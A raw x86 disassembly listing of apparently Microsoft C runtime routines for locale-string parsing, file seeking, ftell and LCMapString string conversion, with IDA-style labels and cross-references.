push ecx
push offset dword_4504AC
call sub_41D900
add esp, 8
test eax, eax
jz loc_42B458
mov edx, [ebp+arg_0]
push edx
push offset dword_450428
call sub_41D900
add esp, 8
test eax, eax
jz loc_42B458
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_88]
push ecx
call sub_42B510
add esp, 8
test eax, eax
jz short loc_42B3E0
xor eax, eax
jmp loc_42B4A0
; ---------------------------------------------------------------------------
loc_42B3E0: ; CODE XREF: sub_42B320+B7j
lea edx, [ebp+var_88]
push edx
push offset dword_4EEA5C
lea eax, [ebp+var_88]
push eax
call loc_431CE0
add esp, 0Ch
test eax, eax
jnz short loc_42B406
xor eax, eax
jmp loc_42B4A0
; ---------------------------------------------------------------------------
loc_42B406: ; CODE XREF: sub_42B320+DDj
xor ecx, ecx
mov cx, ds:word_4EEA60
mov ds:dword_4EEA64, ecx
lea edx, [ebp+var_88]
push edx
push offset dword_4504AC
call sub_42B670
add esp, 8
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42B446
mov edx, [ebp+arg_0]
push edx
push offset dword_450428
call sub_41E550
add esp, 8
jmp short loc_42B458
; ---------------------------------------------------------------------------
loc_42B446: ; CODE XREF: sub_42B320+111j
push offset dword_4504AC
push offset dword_450428
call sub_41E550
add esp, 8
loc_42B458: ; CODE XREF: sub_42B320+83j
; sub_42B320+9Cj ...
cmp [ebp+arg_8], 0
jz short loc_42B471
push 6
push offset dword_4EEA5C
mov eax, [ebp+arg_8]
push eax
call sub_41E840
add esp, 0Ch
loc_42B471: ; CODE XREF: sub_42B320+13Cj
cmp [ebp+arg_C], 0
jz short loc_42B48A
push 4
push offset dword_4EEA64
mov ecx, [ebp+arg_C]
push ecx
call sub_41E840
add esp, 0Ch
loc_42B48A: ; CODE XREF: sub_42B320+155j
push offset dword_4504AC
mov edx, [ebp+arg_4]
push edx
call sub_41E550
add esp, 8
mov eax, offset dword_4504AC
loc_42B4A0: ; CODE XREF: sub_42B320+11j
; sub_42B320+6Bj ...
mov esp, ebp
pop ebp
retn
sub_42B320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B4B0 proc near ; CODE XREF: sub_42B080+12Bp
; DATA XREF: seg002:off_450538o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42B4B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B4C0 proc near ; CODE XREF: sub_42B220+75p
; sub_42B670+30p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_42B4DE
; ---------------------------------------------------------------------------
loc_42B4D5: ; CODE XREF: sub_42B4C0+42j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42B4DE: ; CODE XREF: sub_42B4C0+13j
mov edx, [ebp+var_8]
cmp edx, [ebp+arg_4]
jge short loc_42B504
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx-4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41E560
add esp, 8
jmp short loc_42B4D5
; ---------------------------------------------------------------------------
loc_42B504: ; CODE XREF: sub_42B4C0+24j
mov [ebp+var_4], 0
mov esp, ebp
pop ebp
retn
sub_42B4C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B510 proc near ; CODE XREF: sub_42B320+ADp
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 88h
push 0
mov eax, [ebp+arg_0]
push eax
call sub_41D100
add esp, 0Ch
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42B53A
xor eax, eax
jmp loc_42B669
; ---------------------------------------------------------------------------
loc_42B53A: ; CODE XREF: sub_42B510+21j
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_42B570
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
test eax, eax
jz short loc_42B570
mov ecx, [ebp+arg_4]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_41E550
add esp, 8
xor eax, eax
jmp loc_42B669
; ---------------------------------------------------------------------------
loc_42B570: ; CODE XREF: sub_42B510+33j
; sub_42B510+3Ej
mov [ebp+var_4], 0
jmp short loc_42B582
; ---------------------------------------------------------------------------
loc_42B579: ; CODE XREF: sub_42B510+152j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42B582: ; CODE XREF: sub_42B510+67j
push offset a___0 ; "_.,"
mov ecx, [ebp+arg_4]
push ecx
call sub_431C60
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42B5A4
or eax, 0FFFFFFFFh
jmp loc_42B669
; ---------------------------------------------------------------------------
loc_42B5A4: ; CODE XREF: sub_42B510+8Aj
mov edx, [ebp+arg_4]
add edx, [ebp+var_C]
mov al, [edx]
mov [ebp+var_8], al
cmp [ebp+var_4], 0
jnz short loc_42B5DA
cmp [ebp+var_C], 40h
jge short loc_42B5DA
movsx ecx, [ebp+var_8]
cmp ecx, 2Eh
jz short loc_42B5DA
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41D800
add esp, 0Ch
jmp short loc_42B640
; ---------------------------------------------------------------------------
loc_42B5DA: ; CODE XREF: sub_42B510+A3j
; sub_42B510+A9j ...
cmp [ebp+var_4], 1
jnz short loc_42B608
cmp [ebp+var_C], 40h
jge short loc_42B608
movsx edx, [ebp+var_8]
cmp edx, 5Fh
jz short loc_42B608
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
call sub_41D800
add esp, 0Ch
jmp short loc_42B640
; ---------------------------------------------------------------------------
loc_42B608: ; CODE XREF: sub_42B510+CEj
; sub_42B510+D4j ...
cmp [ebp+var_4], 2
jnz short loc_42B63B
movsx eax, [ebp+var_8]
test eax, eax
jz short loc_42B61F
movsx ecx, [ebp+var_8]
cmp ecx, 2Ch
jnz short loc_42B63B
loc_42B61F: ; CODE XREF: sub_42B510+104j
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 80h
push ecx
call sub_41D800
add esp, 0Ch
jmp short loc_42B640
; ---------------------------------------------------------------------------
loc_42B63B: ; CODE XREF: sub_42B510+FCj
; sub_42B510+10Dj
or eax, 0FFFFFFFFh
jmp short loc_42B669
; ---------------------------------------------------------------------------
loc_42B640: ; CODE XREF: sub_42B510+C8j
; sub_42B510+F6j ...
movsx edx, [ebp+var_8]
cmp edx, 2Ch
jnz short loc_42B64B
jmp short loc_42B667
; ---------------------------------------------------------------------------
loc_42B64B: ; CODE XREF: sub_42B510+137j
movsx eax, [ebp+var_8]
test eax, eax
jnz short loc_42B655
jmp short loc_42B667
; ---------------------------------------------------------------------------
loc_42B655: ; CODE XREF: sub_42B510+141j
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
lea eax, [edx+ecx+1]
mov [ebp+arg_4], eax
jmp loc_42B579
; ---------------------------------------------------------------------------
loc_42B667: ; CODE XREF: sub_42B510+139j
; sub_42B510+143j
xor eax, eax
loc_42B669: ; CODE XREF: sub_42B510+25j
; sub_42B510+5Bj ...
mov esp, ebp
pop ebp
retn
sub_42B510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B670 proc near ; CODE XREF: sub_42B320+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41E550
add esp, 8
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+40h]
test eax, eax
jz short loc_42B6A8
mov ecx, [ebp+arg_4]
add ecx, 40h
push ecx
push offset a__3 ; "_"
push 2
mov edx, [ebp+arg_0]
push edx
call sub_42B4C0
add esp, 10h
loc_42B6A8: ; CODE XREF: sub_42B670+1Cj
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+80h]
test ecx, ecx
jz short loc_42B6D3
mov edx, [ebp+arg_4]
add edx, 80h
push edx
push offset a__2 ; "."
push 2
mov eax, [ebp+arg_0]
push eax
call sub_42B4C0
add esp, 10h
loc_42B6D3: ; CODE XREF: sub_42B670+44j
pop ebp
retn
sub_42B670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B6E0 proc near ; CODE XREF: sub_420250+10Ep
; sub_424A30+216p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4EEE20
jnb short loc_42B711
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42B72C
loc_42B711: ; CODE XREF: sub_42B6E0+Dj
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42B75E
; ---------------------------------------------------------------------------
loc_42B72C: ; CODE XREF: sub_42B6E0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42DB90
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42B770
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_42DC20
add esp, 4
mov eax, [ebp+var_4]
loc_42B75E: ; CODE XREF: sub_42B6E0+4Aj
mov esp, ebp
pop ebp
retn
sub_42B6E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B770 proc near ; CODE XREF: sub_4240D0+40Dp
; sub_42B6E0+64p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_42DA10
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_42B79E
call sub_4267E0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42B81E
; ---------------------------------------------------------------------------
loc_42B79E: ; CODE XREF: sub_42B770+19j
mov ecx, [ebp+arg_8]
push ecx
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_C]
push eax
call ds:dword_4F13B8 ; SetFilePointer
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_42B7C6
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_42B7CD
; ---------------------------------------------------------------------------
loc_42B7C6: ; CODE XREF: sub_42B770+49j
mov [ebp+var_4], 0
loc_42B7CD: ; CODE XREF: sub_42B770+54j
cmp [ebp+var_4], 0
jz short loc_42B7E4
mov ecx, [ebp+var_4]
push ecx
call sub_426740
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42B81E
; ---------------------------------------------------------------------------
loc_42B7E4: ; CODE XREF: sub_42B770+61j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
mov dl, [ecx+eax+4]
and dl, 0FDh
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, ds:dword_4EED20[eax*4]
mov [eax+ecx+4], dl
mov eax, [ebp+var_8]
loc_42B81E: ; CODE XREF: sub_42B770+29j
; sub_42B770+72j
mov esp, ebp
pop ebp
retn
sub_42B770 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42B837: ; CODE XREF: seg000:0042B85Fj
cmp dword ptr [ebp+8], 0
jnz short loc_42B85B
push offset dword_4394EC
push 0
push 32h
push offset aFtell_c ; "ftell.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42B85B
int 3 ; Trap to Debugger
loc_42B85B: ; CODE XREF: seg000:0042B83Bj
; seg000:0042B858j
xor eax, eax
test eax, eax
jnz short loc_42B837
mov ecx, [ebp+8]
push ecx
call sub_41F070
add esp, 4
mov edx, [ebp+8]
push edx
call sub_42B8A0
add esp, 4
mov [ebp-4], eax
mov eax, [ebp+8]
push eax
call sub_41F0E0
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B8A0 proc near ; CODE XREF: sub_420250+87p
; seg000:0042B871p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
loc_42B8A9: ; CODE XREF: sub_42B8A0+31j
cmp [ebp+arg_0], 0
jnz short loc_42B8CD
push offset dword_4394FC
push 0
push 63h
push offset aFtell_c ; "ftell.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42B8CD
int 3 ; Trap to Debugger
loc_42B8CD: ; CODE XREF: sub_42B8A0+Dj
; sub_42B8A0+2Aj
xor eax, eax
test eax, eax
jnz short loc_42B8A9
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov eax, [edx+10h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jge short loc_42B8F5
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
loc_42B8F5: ; CODE XREF: sub_42B8A0+49j
push 1
push 0
mov eax, [ebp+var_8]
push eax
call sub_42B6E0
add esp, 0Ch
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jge short loc_42B916
or eax, 0FFFFFFFFh
jmp loc_42BB33
; ---------------------------------------------------------------------------
loc_42B916: ; CODE XREF: sub_42B8A0+6Cj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jnz short loc_42B936
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
sub ecx, [eax+4]
mov eax, ecx
jmp loc_42BB33
; ---------------------------------------------------------------------------
loc_42B936: ; CODE XREF: sub_42B8A0+84j
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 3
test eax, eax
jz short loc_42B9AC
mov ecx, [ebp+var_8]
sar ecx, 5
mov edx, [ebp+var_8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz short loc_42B9AA
mov edx, [ebp+var_C]
mov eax, [edx+8]
mov [ebp+var_4], eax
jmp short loc_42B98A
; ---------------------------------------------------------------------------
loc_42B981: ; CODE XREF: sub_42B8A0:loc_42B9A8j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42B98A: ; CODE XREF: sub_42B8A0+DFj
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
cmp eax, [edx]
jnb short loc_42B9AA
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_42B9A8
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
loc_42B9A8: ; CODE XREF: sub_42B8A0+FDj
jmp short loc_42B981
; ---------------------------------------------------------------------------
loc_42B9AA: ; CODE XREF: sub_42B8A0+D4j
; sub_42B8A0+F2j
jmp short loc_42B9CF
; ---------------------------------------------------------------------------
loc_42B9AC: ; CODE XREF: sub_42B8A0+AFj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jnz short loc_42B9CF
call sub_4267E0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_42BB33
; ---------------------------------------------------------------------------
loc_42B9CF: ; CODE XREF: sub_42B8A0:loc_42B9AAj
; sub_42B8A0+11Aj
cmp [ebp+var_1C], 0
jnz short loc_42B9DD
mov eax, [ebp+var_18]
jmp loc_42BB33
; ---------------------------------------------------------------------------
loc_42B9DD: ; CODE XREF: sub_42B8A0+133j
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz loc_42BB2D
mov edx, [ebp+var_C]
cmp dword ptr [edx+4], 0
jnz short loc_42BA03
mov [ebp+var_18], 0
jmp loc_42BB2D
; ---------------------------------------------------------------------------
loc_42BA03: ; CODE XREF: sub_42B8A0+155j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_C]
mov edx, [eax]
sub edx, [ecx+8]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
add ecx, edx
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
sar edx, 5
mov eax, [ebp+var_8]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 80h
test edx, edx
jz loc_42BB24
push 2
push 0
mov eax, [ebp+var_8]
push eax
call sub_42B6E0
add esp, 0Ch
cmp eax, [ebp+var_1C]
jnz short loc_42BAB0
mov ecx, [ebp+var_C]
mov edx, [ecx+8]
add edx, [ebp+var_10]
mov [ebp+var_14], edx
mov eax, [ebp+var_C]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
jmp short loc_42BA77
; ---------------------------------------------------------------------------
loc_42BA6E: ; CODE XREF: sub_42B8A0:loc_42BA93j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42BA77: ; CODE XREF: sub_42B8A0+1CCj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_14]
jnb short loc_42BA95
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_42BA93
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_42BA93: ; CODE XREF: sub_42B8A0+1E8j
jmp short loc_42BA6E
; ---------------------------------------------------------------------------
loc_42BA95: ; CODE XREF: sub_42B8A0+1DDj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 2000h
test edx, edx
jz short loc_42BAAE
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_42BAAE: ; CODE XREF: sub_42B8A0+203j
jmp short loc_42BB24
; ---------------------------------------------------------------------------
loc_42BAB0: ; CODE XREF: sub_42B8A0+1B5j
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_42B6E0
add esp, 0Ch
cmp [ebp+var_10], 200h
ja short loc_42BAF0
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_42BAF0
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 400h
test eax, eax
jnz short loc_42BAF0
mov [ebp+var_10], 200h
jmp short loc_42BAF9
; ---------------------------------------------------------------------------
loc_42BAF0: ; CODE XREF: sub_42B8A0+229j
; sub_42B8A0+236j ...
mov ecx, [ebp+var_C]
mov edx, [ecx+18h]
mov [ebp+var_10], edx
loc_42BAF9: ; CODE XREF: sub_42B8A0+24Ej
mov eax, [ebp+var_8]
sar eax, 5
mov ecx, [ebp+var_8]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 4
test eax, eax
jz short loc_42BB24
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_42BB24: ; CODE XREF: sub_42B8A0+19Cj
; sub_42B8A0:loc_42BAAEj ...
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
loc_42BB2D: ; CODE XREF: sub_42B8A0+148j
; sub_42B8A0+15Ej
mov eax, [ebp+var_1C]
add eax, [ebp+var_18]
loc_42BB33: ; CODE XREF: sub_42B8A0+71j
; sub_42B8A0+91j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42B8A0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42BB40: ; CODE XREF: sub_420A00+EBp
; sub_4262B0+121p ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A2B0
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp-18h], esp
cmp ds:dword_4EEA88, 0
jnz short loc_42BBC6
push 0
push 0
push 1
push offset dword_43A2A8
push 100h
push 0
call ds:dword_4F12F0 ; LCMapStringW
test eax, eax
jz short loc_42BB97
mov ds:dword_4EEA88, 1
jmp short loc_42BBC6
; ---------------------------------------------------------------------------
loc_42BB97: ; CODE XREF: seg000:0042BB89j
push 0
push 0
push 1
push offset dword_43A2A4
push 100h
push 0
call near ptr 3D0000h
xchg eax, edi
test eax, eax
jz short loc_42BBBF
mov ds:dword_4EEA88, 2
jmp short loc_42BBC6
; ---------------------------------------------------------------------------
loc_42BBBF: ; CODE XREF: seg000:0042BBB1j
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BBC6: ; CODE XREF: seg000:0042BB6Dj
; seg000:0042BB95j ...
cmp dword ptr [ebp+14h], 0
jle short loc_42BBDF
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
call sub_42BE50
add esp, 8
mov [ebp+14h], eax
loc_42BBDF: ; CODE XREF: seg000:0042BBCAj
cmp ds:dword_4EEA88, 2
jnz short near ptr loc_42BC0A+1
mov edx, [ebp+1Ch]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call near ptr 3D0000h
shr ecx, 26h
add al, [eax]
loc_42BC0A: ; CODE XREF: seg000:0042BBE6j
add [ebx+4EEA883Dh], al
add [ecx], al
jnz loc_42BE2F
cmp dword ptr [ebp+20h], 0
jnz short loc_42BC27
mov edx, ds:dword_4EEA80
mov [ebp+20h], edx
loc_42BC27: ; CODE XREF: seg000:0042BC1Cj
push 0
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+24h]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+20h]
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp-1Ch], eax
cmp dword ptr [ebp-1Ch], 0
jnz short loc_42BC5B
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BC5B: ; CODE XREF: seg000:0042BC52j
mov dword ptr [ebp-4], 0
mov eax, [ebp-1Ch]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp-30h], esp
mov [ebp-18h], esp
mov ecx, [ebp-30h]
mov [ebp-24h], ecx
mov dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_42BC9D
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov dword ptr [ebp-24h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
loc_42BC9D: ; CODE XREF: seg000:0042BC84j
cmp dword ptr [ebp-24h], 0
jnz short loc_42BCAA
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BCAA: ; CODE XREF: seg000:0042BCA1j
mov edx, [ebp-1Ch]
push edx
mov eax, [ebp-24h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
push 1
mov eax, [ebp+20h]
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
test eax, eax
jnz short loc_42BCD1
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BCD1: ; CODE XREF: seg000:0042BCC8j
push 0
push 0
mov ecx, [ebp-1Ch]
push ecx
mov edx, [ebp-24h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call ds:dword_4F12F0 ; LCMapStringW
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jnz short loc_42BCFB
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BCFB: ; CODE XREF: seg000:0042BCF2j
mov edx, [ebp+0Ch]
and edx, 400h
test edx, edx
jz short loc_42BD4B
cmp dword ptr [ebp+1Ch], 0
jz short loc_42BD46
mov eax, [ebp-28h]
cmp eax, [ebp+1Ch]
jle short loc_42BD1D
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BD1D: ; CODE XREF: seg000:0042BD14j
mov ecx, [ebp+1Ch]
push ecx
mov edx, [ebp+18h]
push edx
mov eax, [ebp-1Ch]
push eax
mov ecx, [ebp-24h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call ds:dword_4F12F0 ; LCMapStringW
test eax, eax
jnz short loc_42BD46
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BD46: ; CODE XREF: seg000:0042BD0Cj
; seg000:0042BD3Dj
jmp loc_42BE2A
; ---------------------------------------------------------------------------
loc_42BD4B: ; CODE XREF: seg000:0042BD06j
mov ecx, [ebp-28h]
mov [ebp-2Ch], ecx
mov dword ptr [ebp-4], 1
mov eax, [ebp-2Ch]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp-34h], esp
mov [ebp-18h], esp
mov edx, [ebp-34h]
mov [ebp-20h], edx
mov dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_42BD93
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov dword ptr [ebp-20h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
loc_42BD93: ; CODE XREF: seg000:0042BD7Aj
cmp dword ptr [ebp-20h], 0
jnz short loc_42BDA0
xor eax, eax
jmp loc_42BE31
; ---------------------------------------------------------------------------
loc_42BDA0: ; CODE XREF: seg000:0042BD97j
mov eax, [ebp-2Ch]
push eax
mov ecx, [ebp-20h]
push ecx
mov edx, [ebp-1Ch]
push edx
mov eax, [ebp-24h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call ds:dword_4F12F0 ; LCMapStringW
test eax, eax
jnz short loc_42BDC6
xor eax, eax
jmp short loc_42BE31
; ---------------------------------------------------------------------------
loc_42BDC6: ; CODE XREF: seg000:0042BDC0j
cmp dword ptr [ebp+1Ch], 0
jnz short loc_42BDFA
push 0
push 0
push 0
push 0
mov eax, [ebp-2Ch]
push eax
mov ecx, [ebp-20h]
push ecx
push 220h
mov edx, [ebp+20h]
push edx
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jnz short loc_42BDF8
xor eax, eax
jmp short loc_42BE31
; ---------------------------------------------------------------------------
loc_42BDF8: ; CODE XREF: seg000:0042BDF2j
jmp short loc_42BE2A
; ---------------------------------------------------------------------------
loc_42BDFA: ; CODE XREF: seg000:0042BDCAj
push 0
push 0
mov eax, [ebp+1Ch]
push eax
mov ecx, [ebp+18h]
push ecx
mov edx, [ebp-2Ch]
push edx
mov eax, [ebp-20h]
push eax
push 220h
mov ecx, [ebp+20h]
push ecx
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jnz short loc_42BE2A
xor eax, eax
jmp short loc_42BE31
; ---------------------------------------------------------------------------
loc_42BE2A: ; CODE XREF: seg000:loc_42BD46j
; seg000:loc_42BDF8j ...
mov eax, [ebp-28h]
jmp short loc_42BE31
; ---------------------------------------------------------------------------
loc_42BE2F: ; CODE XREF: seg000:0042BC12j
xor eax, eax
loc_42BE31: ; CODE XREF: seg000:0042BBC1j
; seg000:0042BC56j ...
lea esp, [ebp-40h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BE50 proc near ; CODE XREF: seg000:0042BBD4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
